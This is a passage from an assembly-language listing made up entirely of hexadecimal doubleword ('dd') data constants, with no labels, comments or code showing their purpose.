		dd 0C4A2A64h, 0B3EF2485h, 60A2D6F5h, 0A8D73A90h, 17E9843Fh
		dd 0FB2FB0F1h, 1320C97Dh, 0F2CACBC2h, 142D8254h, 0B8DE976Ch
		dd 0DFC5FF4Bh, 0D5E35B97h, 7F99EED6h, 3682C404h, 0DEE57577h
		dd 0B981802Eh, 72353FDBh, 0FE683861h, 54B3530Ch, 69BDDA24h
		dd 47897FF9h, 717F0D68h, 2E8F88D9h, 6E1E2D26h, 0B3E7251Dh
		dd 6273D12Eh, 6880AB6Ch, 22E31B16h, 54C711B5h, 40AAD830h
		dd 50B555CDh, 0E370439h, 8089122Eh, 0D5B0E9D5h,	7BB920C1h
		dd 0E06FFC01h, 6075242Ah, 4089C52Fh, 0B2EBE94Ah, 0BB7B485h
		dd 109882A7h, 30F4DE89h, 5C0EE1B4h, 661AFC97h, 0F9354B0Eh
		dd 10846108h, 81203BB4h, 6D31ED9h, 9279581Fh, 56DFFCD0h
		dd 0AD174B38h, 0A03E56F3h, 0E5C013CEh, 4D810903h, 68FE0BE4h
		dd 0E8068AB7h, 0BDDBD42Dh, 24999593h, 0CFE1BA08h, 9D70CA5h
		dd 5852D6DBh, 980963Ah,	77F0EED6h, 409B91Eh, 0F3641168h
		dd 0F1BA094Fh, 9E079FEh, 9711CDD7h, 0E8F7CD5Ah,	149D8465h
		dd 0A984807Fh, 0E7688056h, 9733384Fh, 750B9F83h, 5094D4C5h
		dd 0E1D0C998h, 0A86B0197h, 0AEF34A54h, 0E9BAF44Ah, 0D7EEB72Ah
		dd 0ADD3FE9Dh, 0F6875287h, 5CA3B77Ch, 88B487AFh, 8888591Fh
		dd 0B252031Ch, 79F95142h, 86BC2A1Bh, 0B48FFC96h, 5F10ACEEh
		dd 1EEF5F64h, 1F438048h, 1713E964h, 0CFB336C0h,	9766EB80h
		dd 6B6B31D5h, 5301C3C1h, 1E193FB7h, 0B9F85020h,	2DE9F230h
		dd 6416DF3Ch, 649E6CB0h, 3861F42h, 0D490FA88h, 5B4F665Ah
		dd 0AF4E6A4h, 3A36E91Bh, 657682C8h, 0F2604426h,	0CABF08EFh
		dd 80F656C5h, 1745A35h,	50953BE9h, 215C5CDEh, 0E94971B4h
		dd 0C909F6ABh, 0E87041B0h, 40BF0BFFh, 0A800C80Bh, 6C57A3C7h
		dd 0B35BD7B8h, 4C6B44A2h, 0B858F4C4h, 48F28097h, 0C51FD674h
		dd 0C45A1122h, 0EB50FEC8h, 7EBD7B08h, 3E2C6CFAh, 7B4E4A13h
		dd 84117B9h, 0AF31D12Eh, 18E90161h, 592092Eh, 5280B574h
		dd 0A50E11BAh, 409EB076h, 723868B8h, 8BEA4A6Dh,	1E160BCDh
		dd 0D41D8BDDh, 17082044h, 209FC5E9h, 0B621D4F4h, 0B8221C65h
		dd 550D8882h, 0BCE48705h, 0A0CA86A9h, 20E87E0Fh, 0E2C1C062h
		dd 520E4367h, 0CB0BA762h, 1CFAC6E9h, 7B5AD02Dh,	5F602565h
		dd 7B678530h, 0D361440Ch, 0F2F3290Ah, 0C088DEFh, 0C7581402h
		dd 0B9D225BFh, 0A151592Dh, 67AFE9F9h, 93B6B23Bh, 2044365Eh
		dd 36C269A5h, 88B5038Bh, 0D98EFA84h, 51F80170h,	0E980EAB1h
		dd 0B0C72AA4h, 5234C160h, 27CB7CB6h, 3C705FEEh,	0DE48C370h
		dd 0CE257B74h, 0C61C8277h, 7CFA4285h, 89EB811Bh, 402B19FAh
		dd 551EABB8h, 0E3E94512h, 685AA9C0h, 4434974h, 9036B213h
		dd 0D017F0D4h, 0D948897Bh, 9B214E63h, 1C3D0803h, 0E8D7310h
		dd 3C6FB850h, 0D8F751C2h, 0FCE0FF40h, 65003A25h, 0A53547E5h
		dd 1F04602Bh, 0D6E9C501h, 851FE209h, 0AB8838F4h, 1715B40Ch
		dd 301C52h, 0BA77713Fh,	6B79DDB2h, 0B3CA0124h, 0C1F1BD0Ah
		dd 0B33FFAAFh, 0E557A715h, 685E87E3h, 0CD6E979h, 48E41C62h
		dd 275ED5D8h, 0EF524EAFh, 90694922h, 767A17A1h,	9984EA73h
		dd 464C081Fh, 0A25D2647h, 580B4034h, 4898956Ah,	1991E0AFh
		dd 58E976AFh, 2F5828E9h, 2BFB42Ch, 9468D241h, 1C4A32C0h
		dd 7DEAF781h, 26308E79h, 2857434Dh, 7932107h, 5247BB53h
		dd 2721F20h, 856E8FEh, 0AC7E4577h, 0BE4D098Ch, 12CFE6DDh
		dd 0A8FECA58h, 4C29C44Bh, 0B220D014h, 5212BE01h, 0F5092761h
		dd 0FDCC7731h, 0F7F12F73h, 0B4099A0Bh, 2923A4F5h, 58D00482h
		dd 0C679BFF7h, 98FD4A3Ah, 0F2A37A04h, 8B88C268h, 590D720Bh
		dd 5C3F6BA0h, 0B27BCE93h, 62DD400h, 73575D08h, 65FA090Ch
		dd 0CD7C4CCEh, 0CD008A0h, 525F2614h, 0C75E893Fh, 90E8D00Fh
		dd 5899B8D4h, 2D78B15Bh, 0A6944B8Ah, 2FB6F7F4h,	5BC9BF63h
		dd 7864BBA4h, 7C9C8FAAh, 305E915h, 0F192982Dh, 6202027Ch
		dd 0FEFC15E9h, 0BDF69675h, 37885B58h, 0DD27B0E9h, 26EE5DFEh
		dd 0DBC97227h, 0DE9ABD6Fh, 72FF0A13h, 3B1C1454h, 979A576h
		dd 32698C18h, 0A97D2A8Bh, 0E9C2071Dh, 1CA6F87Bh, 0FD27EA80h
		dd 0D33CA938h, 5A81C33Ah, 0F6D88850h, 58C8D3D0h, 764EBC0h
		dd 280F2DECh, 95700FF3h, 654884B4h, 0CD6F613h, 0D806F367h
		dd 0A2F74398h, 1D20AFF9h, 478F24FDh, 0E3181347h, 0E9520403h
		dd 1292FEE7h, 0AE30C155h, 0FEC5A79Bh, 0B1E0BE9Ch, 4B5CFEEAh
		dd 0ED62A52Bh, 21CA05F7h, 0C159404Fh, 5E6802E9h, 8C316FE5h
		dd 532BF9D4h, 7309B260h, 0C0104B9Fh, 8280B574h,	4977D9FFh
		dd 3D5B127Ah, 0F5598209h, 96C3E18Bh, 3133ED80h,	0AC34D090h
		dd 0D5EE23F8h, 0F568ADF5h, 0BFC385AEh, 0A04ED8B6h, 849FE5F9h
		dd 6F8121C1h, 8C7EF6F9h, 0E697A781h, 0F48CDCF4h, 0E92EC061h
		dd 1FBA75FCh, 601A8127h, 0A12DE8E8h, 0CC6B5D07h, 6CFB24F2h
		dd 0D6CAC53Fh, 181AF8B4h, 0C074E70h, 0C65F52E7h, 0A8DE1CEAh
		dd 97E91A08h, 0C55732A7h, 0CC5DA73Eh, 9D5D7980h, 0C4AA3DC3h
		dd 320F3B40h, 82D95881h, 0B84AEA78h, 73E3B40Eh,	40D72050h
		dd 0DCC1297Dh, 4C3B015Ah, 9734EA2Ah, 0FAC5EDFDh, 0A440B808h
		dd 4759C080h, 0C37969BAh, 0B456A5F6h, 0F9328818h, 0C1DF8233h
		dd 0AD3E30D2h, 0F9D3DBF1h, 0B7AC6731h, 8ADFAFCAh, 0B844786h
		dd 0ADBF6AE5h, 2CC1D626h, 30096851h, 7AE1AFB4h,	9A81B3B8h
		dd 6A6DAB5Eh, 6CC516D7h, 2CE90C21h, 223AAB25h, 0B9F01BA7h
		dd 0E51DF995h, 0F9C95096h, 671EAA4Ah, 0D7FB40D2h, 0B1DB74D8h
		dd 0A003ECCh, 7C578B2Dh, 61BFA271h, 1960908Ch, 0B4194A0Eh
		dd 573EF3D7h, 0CB0B2885h, 161EA124h, 0D7BDF41h,	17B806Fh
		dd 5717EB37h, 34AEE5C1h, 0FC45FE5Dh, 9AEB026Dh,	9A12FEBh
		dd 6BFBDFA3h, 581DB0C8h, 0E0B64BFAh, 7FB28993h,	0FBB41BE9h
		dd 5BDF5138h, 0D262BC75h, 98FA6A04h, 0BA1134FBh, 56296E4Bh
		dd 0FC0AC4F4h, 215A7B6Ah, 0C65B3544h, 0BA21A12h, 80EDD740h
		dd 7A6BEE2Fh, 1005618Fh, 0EE3AE954h, 0DD880BD6h, 0C6BA0194h
		dd 3B4DB175h, 0EB5B94ECh, 542CFF28h, 0B8E1800Ch, 6ED469BAh
		dd 8B3C45D4h, 852B1B4Dh, 38AED1C0h, 0EF0BBB9Fh,	5047DF7Bh
		dd 7568122Ch, 7996E31Fh, 0CD462D02h, 680DE95Eh,	0DED0F76Ch
		dd 60830004h, 91407CADh, 53E6D1F6h, 0ED40B990h,	954F4E09h
		dd 0BC880485h, 94F54095h, 0C13B2A2Ch, 650CFB0Ch, 0A722906Ch
		dd 17DDB72Ch, 0C11B4F70h, 8E3004B2h, 17EA127Fh,	0BD56E0D9h
		dd 0FEA65F4Bh, 4A470711h, 6BEADDFFh, 76A42494h,	0BD7B4B68h
		dd 0E05184AAh, 8F3B5C18h, 0E4000293h, 810ECA71h, 89D09E3h
		dd 20755A73h, 0BE04C30Fh, 0EFFF4EF5h, 0BF3DE02Dh, 63E9F981h
		dd 9ADFAC8Dh, 41FEC093h, 0A45D9A79h, 5EC42B6Fh,	0F85B070Dh
		dd 0ACF05FFEh, 0B7F82FEBh, 5EE5907Dh, 218AC2Fh,	0F3E9D031h
		dd 270AD929h, 0A6307B7Ch, 179E5D46h, 0AD31687Bh, 0E14A1087h
		dd 2C515012h, 6E50B4ABh
		dd 0A4BA5DEBh, 0F07DD8A2h, 6F25F69Bh, 0D7FD2C0Fh, 0D3D6FC44h
		dd 581E82EEh, 0A65D45h,	4B23B800h, 62350B2Eh, 0B6E90B27h
		dd 0D1B59B50h, 50F90A4Eh, 352AADAh, 0E8C4F181h,	0BC2004B7h
		dd 0E594DACh, 88FB07B5h, 872C22FDh, 3D4F3E1h, 155AB151h
		dd 78CF4228h, 0C2225E50h, 0BB9CE8FCh, 2FD51260h, 0E7405CF1h
		dd 634284F6h, 42BB0085h, 1A50E12Dh, 53122EF8h, 11C2723Eh
		dd 9D17507Bh, 0B5E696F5h, 282044E6h, 0C38EA0FCh, 13613043h
		dd 76C950Ch, 0C1894A2Eh, 1375ED08h, 1D0A725Fh, 75C4095Fh
		dd 0FE9AA71h, 7B6FFFA5h, 0E94504D8h, 0A70E812h,	703013B0h
		dd 22685603h, 0B8AF8473h, 57A8A468h, 4A4B89A8h,	0F04331F7h
		dd 0CA08CD17h, 1EF0105Fh, 0EEF45A2Dh, 0A9A87FC5h, 2B78FF5Eh
		dd 2F209D09h, 0BB5D63E3h, 936748h, 2F2054Fh, 0C0A85CE9h
		dd 12B6C64Bh, 87273353h, 434EDCEEh, 4AB2E956h, 7B696E5Dh
		dd 68F90C66h, 83975AB2h, 62D1D9ABh, 54DD7B41h, 0BD3E883Fh
		dd 3E317C09h, 4903DC73h, 4979D9D5h, 0E9E1995Bh,	1D22096Ch
		dd 7CE2FB92h, 0BE056716h, 9D687230h, 0AB9E952Eh, 6E77C7A2h
		dd 723A0986h, 0F3DF384Ah, 90C201Ch, 404DE958h, 1A55054h
		dd 7F048C65h, 0B252817Fh, 62CA2ACBh, 0E2157E13h, 0E3D112DCh
		dd 0E5ED661Eh, 69012E38h, 0EA244105h, 83D15B49h, 0D903E1BDh
		dd 50297D88h, 8A5F2E13h, 54733834h, 0C67A8939h,	98557420h
		dd 56E42F71h, 0B122BCCDh, 0C0BEE92Fh, 4BDBB590h, 97FF28h
		dd 615B0EEFh, 0C030E985h, 0E2E7852Ch, 74483D8Ch, 0DD955DEAh
		dd 8B9FBA96h, 0A402D721h, 6074D029h, 0E9C7DC69h, 9605084h
		dd 8088288h, 0EE9CAE1Bh, 3C16C79Bh, 0B0C9C260h,	0EF6A5A6Bh
		dd 77ED900Bh, 0E9162596h, 40520760h, 0A4BC5FFh,	0AF93B933h
		dd 8E623A5Eh, 21535D52h, 0DF8518BEh, 605BDAE3h,	9E118A42h
		dd 0E7A0B0A6h, 38362910h, 80888A3Fh, 4FE95A08h,	0BFC0C0EBh
		dd 0FE4C505Bh, 186619C4h, 50BC2014h, 20E20C16h,	4361A641h
		dd 2FF84771h, 5217E59Eh, 757BDEAFh, 80E9C559h, 53B9118Fh
		dd 8BF32881h, 0EBC73F06h, 0FF1E5F96h, 8191484h,	0BE2BD86h
		dd 4009FA74h, 0FB485D0Bh, 4A181ABFh, 7E460DB1h,	8412F38h
		dd 50207ED0h, 0D754A049h, 0D3F1BD39h, 986327BDh, 3C6C93C9h
		dd 0FD0631A8h, 72FAEEE9h, 5D250504h, 10FF5696h,	0BF7507E7h
		dd 54FD07Ah, 5501B0F9h,	0AB433CBDh, 0D1FA573Dh,	2A01D6E3h
		dd 5F0401B9h, 0AF716468h, 0B8836964h, 267E160h,	65BCD33Ah
		dd 0A2B8114Eh, 0E5E0B95Ah, 2A103FECh, 0B5D3B3Fh, 14FEE3E1h
		dd 0C2E3A255h, 42F86954h, 1A067882h, 0E280F60Dh, 76994C14h
		dd 81077A9Dh, 0DFE65908h, 8CF30760h, 1F83124Ah,	0BD575A5Bh
		dd 5828259Dh, 155D970Eh, 101C2402h, 86A04F9Ch, 0A73F247Dh
		dd 39813E05h, 15C187Bh,	2B38DDF1h, 83AD5C01h, 0FC0207Fh
		dd 9AE6E484h, 0AC3DF4FFh, 90A2B5E4h, 82A9D5E9h,	0AFD9B9B3h
		dd 66417A4Ch, 0D23E16BEh, 1010AA27h, 0E5C11622h, 0C5AC3280h
		dd 75024078h, 9C878002h, 5514D2E9h, 59523476h, 9710C25h
		dd 5D53A0A7h, 1C7078DEh, 0C4957C95h, 9BA8AE57h,	7C9D5FACh
		dd 9A8269E1h, 0EC0AC5A0h, 0E2CCDE0Bh, 0C5F65C35h, 1566E905h
		dd 24A08DE9h, 41131759h, 7F35C9E0h, 7FF625B7h, 9FCABBFDh
		dd 0A2E2029Bh, 28DFE6D3h, 3086C884h, 0B974BF9Bh, 0C3253734h
		dd 5F218950h, 7B355020h, 4509EB81h, 12C1423h, 70297DDCh
		dd 40C82730h, 0EB48016Eh, 0F90DDF95h, 0FA9ECBC3h, 18A57F08h
		dd 26EBE5E8h, 25585612h, 8064EA5h, 623120D4h, 0E5A340BFh
		dd 604C7DF4h, 0DBED1107h, 0F690DFF3h, 0FFC65130h, 758E7FC9h
		dd 0D49864h, 912D176Fh,	1508C60h, 0B2427295h, 2BDB9F03h
		dd 172A1411h, 9280A084h, 321E2413h, 67F202B3h, 0E45F14F8h
		dd 820D01E0h, 0BAE96CC0h, 5507DBEh, 0B40C4C72h,	0BD5E0BF8h
		dd 0D1F31446h, 0E96B0482h, 31AE8291h, 3F8E50D9h, 2109EAB3h
		dd 46DE5EF0h, 68C83107h, 0CCBB3594h, 64A0C0Bh, 417196CCh
		dd 0B90644BAh, 0C04B178Ah, 53650F2Dh, 0F604BE2Bh, 50AAABE9h
		dd 5B1EA9A2h, 0C71C8C12h, 0DA95EA3Bh, 0F47AFB9Dh, 604084D8h
		dd 12CC0BBBh, 0B3F0177Eh, 3C906812h, 0F3BAC044h, 0EA9600A2h
		dd 5FF7C031h, 27C5B62Ah, 572A1A2Dh, 0FBD3E585h,	34ABA812h
		dd 8FB201F8h, 2E3B493Fh, 64675DAFh, 0ACE984C0h,	0B4D99142h
		dd 0D9DFC255h, 61DB4963h, 4AC5BE34h, 254A76A0h,	0AE58D2F7h
		dd 2E14D60Bh, 0F73A77CDh, 0D076228Bh, 44CEF181h, 0CD3F60ACh
		dd 0ABA680A2h, 0E90EAE43h, 957C62DAh, 0ECF7565Fh, 605114D5h
		dd 3D10BCCFh, 0DC332F0Eh, 48FE5CBh, 0B1BDCAABh,	0DAF53EAAh
		dd 2F5FA16Bh, 5E049D1h,	0EBD67828h, 1C5A949Ch, 2F013B68h
		dd 0E7CC32DFh, 0E9508422h, 7682C84Ch, 749F7A70h, 0E65D7219h
		dd 288B4FDh, 699311CFh,	3B27FC57h, 0FD48E725h, 16E60C4Bh
		dd 18C4BFFDh, 2E67A319h, 51489C42h, 0A66F24h, 17B3E913h
		dd 0D6A1E993h, 26E96778h, 893F5B29h, 1F646659h,	0CC3B0269h
		dd 5FFA3739h, 5C8BF840h, 807F2E66h, 684244BBh, 619D9E70h
		dd 2B46FEE9h, 0C26D6F2h, 0B02D2A37h, 0C1801C71h, 0BD912AAh
		dd 5D539CD1h, 0B50B05A6h, 6EC6DDFCh, 255D47BFh,	0D870D6C0h
		dd 6E23AEA1h, 0BA0006F3h, 542D07E4h, 0F7B8DAF7h, 0F220441h
		dd 9CE15725h, 5EAC6D5Fh, 0A86B41ABh, 6176E229h,	0FA72CA4Ah
		dd 0AF0D3330h, 3B4821CEh, 0F60257F4h, 766937F5h, 0DF20C97Ah
		dd 6F8F9401h, 7A584969h, 0D390D3FCh, 0B790E54Eh, 3D5320EBh
		dd 0BFF0063Ah, 0EFC31B25h, 0CAFF8E1h, 5A04047Fh, 2F128BB6h
		dd 0D6E9DFh, 690C98C2h,	4BAD6870h, 6BDBA356h, 0D1740231h
		dd 0D5F07587h, 72FED4B7h, 8430797Fh, 0FA20C0E9h, 5C8B97F6h
		dd 57490851h, 0E5BFBC9Eh, 4ACD89D0h, 0B0215F5h,	5C203EE9h
		dd 1D6BE7BFh, 2669227Ah, 0C54DDD15h, 0E9557DB0h, 2DA09C2Bh
		dd 7F7A66FEh, 50821ED9h, 0F67B5C68h, 501390E4h,	341328EDh
		dd 97BC32A2h, 52620A0Bh, 76F3FD80h, 8C9837ECh, 0F0D77704h
		dd 80A02118h, 0ED0C04EEh, 0AE012341h, 0F16A9FD9h, 7CBAC874h
		dd 15810F13h, 3ECF1EAAh, 39E71809h, 0ED3C628h, 69297FC1h
		dd 121FE604h, 42BB9D0Bh, 0B9146680h, 166224CEh,	5ADFFC77h
		dd 2EBB69FEh, 0CB14DB8h, 680005E2h, 15D77ECBh, 363F0B05h
		dd 4056629h, 11A6B6ACh,	0E054036Bh, 9A1527E9h, 418B45D1h
		dd 2037DAEAh, 5D4C7620h, 0EAF28A52h, 0DD04B592h, 10499CDh
		dd 0FFE2BBC7h, 0CED53CAh, 4A55F769h, 5CD15CB5h,	0ECDE8FC5h
		dd 4E6041F2h, 1B452A68h, 0E65B3D7Fh, 88C25B87h,	0AD5855EFh
		dd 4AD2DD7Dh, 40C4D4A8h, 0F22D00A2h, 145E5568h,	705F029h
		dd 7CEDEC78h, 12B2F51h,	0BA586B7Ch, 6CA0A09Dh, 0FE87624Ah
		dd 5A043FF1h, 0C0A465ACh, 0E536F807h, 67E9150Ah, 0AE999B13h
		dd 0DCC9EBACh, 3980F430h, 0EF993EECh, 3AE152E5h, 52584C81h
		dd 4ED3F6E1h, 43970562h, 5F9BCABEh, 7C5120BAh, 659DF130h
		dd 46E98B10h, 0B3C45CE2h, 0DF179009h, 0B0AC9006h, 9F5BEE53h
		dd 0CA08CFBh, 9E1C28D0h, 33BBC0EFh, 56470172h, 272CBB68h
		dd 0CE783037h, 0A66A7401h, 0F475E97Ch, 28C5497Bh, 0C823E1Ah
		dd 53009296h, 253E45BBh, 0A7D06DF5h, 1A404213h,	55CC2BFh
		dd 0D4AC015Dh, 0C02B823Eh, 53E7990Fh, 0DE89BE18h, 26E9F1B8h
		dd 4957C286h, 4BEF5A5Fh
		dd 8995C23Fh, 0C101AB5Eh, 1EE0403Ch, 0E190C82h,	4AFD4E3Ah
		dd 0C080DE7h, 545F1402h, 0BC57C330h, 7EC4524Ah,	934BF3ABh
		dd 2501260Bh, 0B0A95FB9h, 0BC3F7284h, 0A482A473h, 9599DD75h
		dd 3F57D06h, 0E44ECAC7h, 0F60C0567h, 0FF49E094h, 53E1DE81h
		dd 0F309B066h, 44825A5Bh, 0FE0BEE70h, 0D5F609DFh, 82D59509h
		dd 5FBED71Dh, 9F566C1Ah, 7B9C6804h, 630505F3h, 1F661F09h
		dd 0DE6040D3h, 47CB8135h, 6EED3F04h, 61D179E9h,	0A631CE01h
		dd 74BAF2Fh, 0D1384034h, 1990E6h, 169220DCh, 10BEF81h
		dd 4760CF70h, 84222DD2h, 48D89D32h, 0B409DF98h,	7DBEC6A1h
		dd 0EA80E45h, 940BF39Ch, 0BF5A827Ch, 0E05D0967h, 1811A01h
		dd 7B1D0524h, 0D84031EFh, 0FE7A89AFh, 8DC3012Ch, 0BA6765Ah
		dd 9C7DC539h, 48A881C7h, 4E5086Ch, 0A0ECC868h, 161E3D83h
		dd 0A59E1C2Bh, 4E632F6h, 75B718EFh, 9898BAC7h, 4E2878B4h
		dd 0BDA8356Fh, 572A1311h, 0BE568130h, 0A61B1E1Eh, 13F75327h
		dd 0E04AA64h, 651E609Ah, 0AEEF00FDh, 0FF4F3F1Dh, 0BFE8172Bh
		dd 67B52770h, 294E3291h, 0AA504CDh, 0D78CC35Dh,	90255376h
		dd 50B97E32h, 0EE924771h, 32782B46h, 0CE257CE1h, 967580CAh
		dd 90539F5Dh, 0A2E299CAh, 46BB0326h, 89607FAAh,	4082CAAAh
		dd 81490296h, 0C7E87E2Dh, 75F7B48h, 735B5435h, 0AF19A4AFh
		dd 0A15725BDh, 0F44E23B1h, 0D7BF00F2h, 414F263Ah, 3FC702E3h
		dd 0D5C1781Ch, 0E4F05547h, 0B5A4A4Ah, 0EB97F4A9h, 0E85E18CBh
		dd 860C93FCh, 0EEE035EBh, 4B195AA7h, 15040607h,	0C8880703h
		dd 55AA7DF5h, 0CE0E8AE8h, 57495585h, 9328BA7Eh,	59C46109h
		dd 84954FCh, 2007D9B3h,	9F865AF1h, 0A2BEA0F5h, 79E03D2Fh
		dd 0F79CD396h, 874C7B95h, 0ABCE804Ah, 0F6613519h, 0AB9D5E36h
		dd 7EB4E730h, 4E1D3F53h, 0FEC99C89h, 8455C5D5h,	0C897E9C5h
		dd 3A4ABEFFh, 4BCACCCCh, 1317479h, 0F341E4B8h, 0E0F5F074h
		dd 95FE0DD7h, 5E56DAE0h, 0E9C76AA2h, 14FFD728h,	0FC8BFA50h
		dd 9F94C318h, 0C38238D3h, 5CD2B680h, 361DFA46h,	1C055FD0h
		dd 35F66F55h, 0FF54557Ah, 0C7716172h, 6E097179h, 0D5B202h
		dd 78667BE2h, 7E9394Ch,	42553DAh, 0EF02FB19h, 0E98460F6h
		dd 357B9059h, 0B8242148h, 0AE0B4E64h, 0B734D5C6h, 0FED5E91Ch
		dd 0E0D8566Fh, 3D27012Fh, 41FCC1F6h, 0D66408DEh, 0A91B2C1Bh
		dd 22CC64Ch, 5125F9ACh,	5752FFFh, 7AAD8121h, 9325A107h
		dd 0C6E6937Eh, 0FC7A5BB3h, 0C25BFA60h, 487F1BA8h, 21044A6Ch
		dd 0AF3A7B3Eh, 83E94A04h, 0B66E73B1h, 0C9D9C4A6h, 789465ECh
		dd 7E77E43Eh, 129E5F0Bh, 0FFB5AA34h, 0FA51DFD0h, 307D5F20h
		dd 75796A20h, 16BA4D40h, 0B862DD40h, 41EB5BD5h,	931E6BEh
		dd 3129879h, 2F8854DEh,	19C96399h, 3BF2EC6h, 0DB0DE9E6h
		dd 85317C27h, 25B84E26h, 51CAFF4Eh, 0F2B52713h,	0A02844Bh
		dd 10056802h, 7F00CDCCh, 4864FC26h, 79401225h, 1BE91478h
		dd 68C385E3h, 4B1867B7h, 217A7AE5h, 4EEEEEDAh, 0C1BEEC12h
		dd 63AA5FF4h, 95227BF4h, 63C1E192h, 0D13407F7h,	4A2D95C2h
		dd 6E71F7ABh, 51147752h, 70BDE92Fh, 0F171B725h,	85610549h
		dd 57DFBCA8h, 0B81FF8F8h, 0CA02D68h, 11A8AB18h,	0E037E227h
		dd 146D321Fh, 92FD0971h, 0F475AB4Dh, 20E6BAB4h,	1FFE6423h
		dd 0C597185Bh, 1012FCC3h, 4E922119h, 7A48B7FCh,	3EA0E9B1h
		dd 8DCDAD90h, 7B052D73h, 50643CF8h, 0B9008ADCh,	4FF724A4h
		dd 0C19488B7h, 0E9020B48h, 7DFFD6C6h, 97C8A65Ch, 0CDEEFB64h
		dd 49E082ADh, 4066D35Bh, 0CE7816Dh, 6B850EBEh, 7F18CD0Ch
		dd 806458D4h, 0BEF7E2FBh, 17141786h, 0C17E0A22h, 0E2782E08h
		dd 1109F485h, 0BE2B4471h, 84881524h, 90DA59E9h,	8BEA800Dh
		dd 5B09D6F0h, 606A1FC1h, 10432948h, 5824539Ah, 441F4291h
		dd 5FD20A0Bh, 6B1CDE27h, 0BCABB304h, 0A3B95A25h, 8431E2DDh
		dd 0C22986B3h, 2182D30h, 585E2D06h, 65771487h, 306C1AE0h
		dd 0CBCF0B7Eh, 0E4455F04h, 25682C4Ch, 1A57178Dh, 52C37C8Dh
		dd 0BC43795Fh, 0D441FACEh, 569168CFh, 7118439Dh, 604E5DDEh
		dd 3B13A5F0h, 2B017A17h, 783490EDh, 68EBC37Eh, 465F098Fh
		dd 55F49FA5h, 98207826h, 0C8BD595h, 0F0E8E803h,	745CE825h
		dd 5455C7FBh, 8B8EB5Dh,	1398ADF4h, 0E5AC401Ah, 90FD66CBh
		dd 0D7B2CAEDh, 289AAA5Ch, 0C2B2814Bh, 0F06C123Fh, 27AA872Ah
		dd 0D3202ECEh, 0FD2924B9h, 0DFF5014Fh, 0F867EE11h, 48971C2Fh
		dd 0B94169E1h, 9729690Ah, 40F362FDh, 823695FCh,	0B594A257h
		dd 18745688h, 0FA31E784h, 20BF8A9Eh, 0EE8013F1h, 6698BAB2h
		dd 0E4CB7DFEh, 60C3E620h, 30D1060Dh, 0DD2DE9DEh, 685380F6h
		dd 9B6CA1h, 0F1815902h,	797357C5h, 3E1F2F90h, 186EAE54h
		dd 7F478613h, 5C852047h, 90DF9F0h, 363506D3h, 776C2D01h
		dd 0D3EC3BE8h, 57AAED01h, 0EC319821h, 0E91A405Dh, 60485412h
		dd 162DD075h, 4831D0Dh,	9BBB4A6h, 0FB70B01h, 1C2CE839h
		dd 0BE8053B5h, 62A3E706h, 7A56A041h, 0F88D7360h, 0BBF59D35h
		dd 441192B9h, 0B1C62004h, 0F48D5A6Bh, 2F56A5C4h, 0A60036CAh
		dd 4D03DE2Dh, 4538E7E9h, 27C9F85Bh, 0EAD96BB7h,	20E0DC87h
		dd 956A7FCDh, 912C4E18h, 68419299h, 316E14C5h, 742D8549h
		dd 8B74F2h, 0D7CBF2Bh, 2EE93119h, 0D775C95Eh, 893AA701h
		dd 0F36AB4EFh, 7C59027h, 4D21644Ah, 54EDA11Fh, 9620AE35h
		dd 0A7094FB0h, 0F6984BB2h, 7B6B41B2h, 0D9375BC7h, 9F12C9A5h
		dd 66042FCBh, 81052F2Dh, 3F51C8BAh, 59E9278Ch, 5303E513h
		dd 0E7C0B4B7h, 2BC7FEF1h, 0CC02D4A1h, 264F568h,	6A278AE0h
		dd 51D8FC46h, 0ED143058h, 0A18C944Fh, 198E4922h, 3C1AD848h
		dd 567DA4C1h, 42A158F4h, 1568D62Eh, 0C43F312Ch,	825F4EFAh
		dd 61DF21F3h, 803DDC41h, 0FEF68C2h, 0CDECB05Fh,	2BE15C37h
		dd 92187C1Dh, 7EC2A80Eh, 959A8C8h, 5A02EFC1h, 9A573094h
		dd 0FB6CD78Fh, 58C0F20h, 447BDEBAh, 92C0BF09h, 0E440D17Dh
		dd 0C910C1E2h, 0F822B964h, 0F43B82F2h, 0EFE90BBEh, 30307F83h
		dd 168C5D54h, 0ED061DE9h, 12AED2B0h, 0B0D0E83Fh, 0A15AF030h
		dd 4BCD68D0h, 53105926h, 0FD310B8Dh, 1099054Dh,	0DDB8F045h
		dd 93F81EBFh, 0E161527Ah, 1498E080h, 8122FE9Fh,	40B36055h
		dd 6540DA01h, 51011E6Eh, 0E9D8F708h, 283B9186h,	0B651BFABh
		dd 0BCA82EEDh, 130B3EC4h, 20E4601h, 6600188Ah, 0E64A0DBCh
		dd 0D64154A8h, 4A7845C0h, 50BF250h, 627F3CB0h, 0CEC93E87h
		dd 0C3810239h, 46C86C17h, 80D67877h, 6B7DE908h,	557E325Ah
		dd 0D723422Dh, 61CBA5E5h, 1B857575h, 8DDBF4E9h,	39A7024Eh
		dd 6623B8D5h, 43CE3FBDh, 0D0BAF092h, 6105905Bh,	6ABF6502h
		dd 0F7299867h, 2CB99F09h, 3862D8F0h, 589824B5h,	90C9A9BEh
		dd 555F2511h, 4CBBA218h, 420E24B0h, 0F2E9CB87h,	0CC688D0h
		dd 32C1122Eh, 16E0AB4Eh, 0FED75EF2h, 161E3235h,	546C33F2h
		dd 0E2526790h, 9C7DE8C3h, 20EDA4EEh, 0C29053D3h, 9D93D420h
		dd 992210F3h, 4BC4B730h, 2D673DE3h, 0C9800E5Fh,	9EBF6336h
		dd 5FA10BB5h, 0BF323D8Fh, 0DB8C2B17h, 411A9758h, 7B8B847Dh
		dd 5931A9A8h, 0DB7521A2h, 61F729F1h, 0FD08043Ah, 0C0BE9A32h
		dd 0B7FEE517h, 0F4275BE5h, 87330197h, 87F6BB39h, 0E9D3290Bh
		dd 7D00A9B9h, 0FD34A9h,	0E2662C20h, 0BEF34E01h,	5460B3CEh
		dd 0A096AD9h, 4007EB7h
		dd 812357E3h, 0A6C468CDh, 562D068Ah, 0A95EA769h, 419652Dh
		dd 166DBA68h, 0D99A35BCh, 32BA9043h, 2D3038E4h,	1BBF56EAh
		dd 6F41283Bh, 8A50991h,	0A2002E4Fh, 7C3C0398h, 59CF3116h
		dd 0E7C142BEh, 0C17713D5h, 0DA0621h, 580F6AB8h,	74631F58h
		dd 200150BDh, 0A9724DEh, 0A803DF9Dh, 7141F338h,	2877266Ah
		dd 6DCF0483h, 3782BB64h, 4C20503Dh, 683FEF49h, 0B7983E25h
		dd 8A2C4B0Bh, 0F928A971h, 8273D4B7h, 0B57335Eh,	0E926987Dh
		dd 0C78595C4h, 9F82C049h, 0F0E30628h, 0DB48CF9h, 78245E83h
